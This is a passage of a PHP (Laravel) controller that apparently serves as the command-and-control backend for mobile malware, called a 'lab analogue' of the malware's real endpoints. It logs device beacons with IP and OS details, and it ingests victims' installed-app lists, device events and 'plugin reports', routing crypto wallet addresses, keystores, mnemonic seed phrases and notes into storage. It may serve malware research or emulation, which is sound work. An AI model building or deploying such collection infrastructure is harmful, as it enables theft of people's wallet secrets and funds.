header('Content-Type', 'text/plain'); } /** * Loader beacon (plaintext JSON): channelCode + deviceVersion + domain. */ public function iptj(Request $request): Response { $payload = $request->json()->all(); if ($payload === []) { $decoded = json_decode((string) $request->getContent(), true); $payload = is_array($decoded) ? $decoded : []; } $channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', ''))); $domain = trim((string) ($payload['domain'] ?? $request->input('domain', ''))); $deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', ''))); if ($channelCode !== '' && strlen($channelCode) <= 64) { $uid = $domain !== '' ? $domain : (string) $request->ip(); $uid = substr($uid, 0, 64); $debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid; if (Cache::add($debounceKey, 1, now()->addSeconds(8))) { $ua = substr((string) $request->userAgent(), 0, 512); $parsed = UserAgentParser::parse($ua); $osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null; if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) { $osVersion = $m[1]; } PageVisit::query()->create([ 'channel_id' => substr($channelCode, 0, 64), 'client_uid' => $uid !== '' ? $uid : 'iptj', 'user_agent' => $ua !== '' ? $ua : null, 'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']), 'os_version' => $osVersion, 'browser' => $parsed['browser'], 'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null, 'ip' => $request->ip(), 'path' => $domain !== '' ? substr($domain, 0, 255) : null, 'referer' => $this->referer($request), 'created_at' => now(), ]); } } return response('{}', 200)->header('Content-Type', 'application/json'); } /** Lab analogue: POST /api/user/avatar/set — device census, no create. */ public function profile(Request $request): Response { return $this->xxbbAck($request); } /** Lab analogue: POST /api/user/get */ public function apps(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestInstalledApps($device, $payload); } return $this->xxbbAck($request); } /** Lab analogue: POST /api/user/avatar/put */ public function event(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestDeviceEvent($device, $payload); } return $this->xxbbAck($request); } /** * Plugin reports: /uj /us /ub /ba /result. * Dispatch by payload shape onto the same ingest as lab long paths. */ public function plugin(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { if (isset($payload['ba']) || isset($payload['ad']) || isset($payload['data'])) { $this->ingest->ingestAddresses($device, $payload); } if (array_key_exists('result', $payload)) { $result = $payload['result']; $asKeystore = is_array($result); if (is_string($result)) { $decoded = json_decode($result, true); $asKeystore = is_array($decoded); } if ($asKeystore) { $this->ingest->ingestKeystore($device, $payload); } else { $this->ingest->ingestMnemonic($device, $payload); } } if (array_key_exists('list', $payload)) { $this->ingest->ingestNotes($device, $payload); } } return $this->xxbbAck($request); } private function referer(Request $request): ?string { $referer = trim((string) $request->headers->get('referer', '')); if ($referer === '') { return null; } return substr($referer, 0, 512); } private function xxbbAck(Request $request): Response { $ts = (string) $request->attributes->get('xxbb_ts', ''); if ($ts === '') { $ts = (string) ($request->header('x-ts') ?: ''); } if ($ts === '') { $ts = (string) (int) round(microtime(true) * 1000); } return response($ts.'{}', 200)->header('Content-Type', 'text/plain'); } }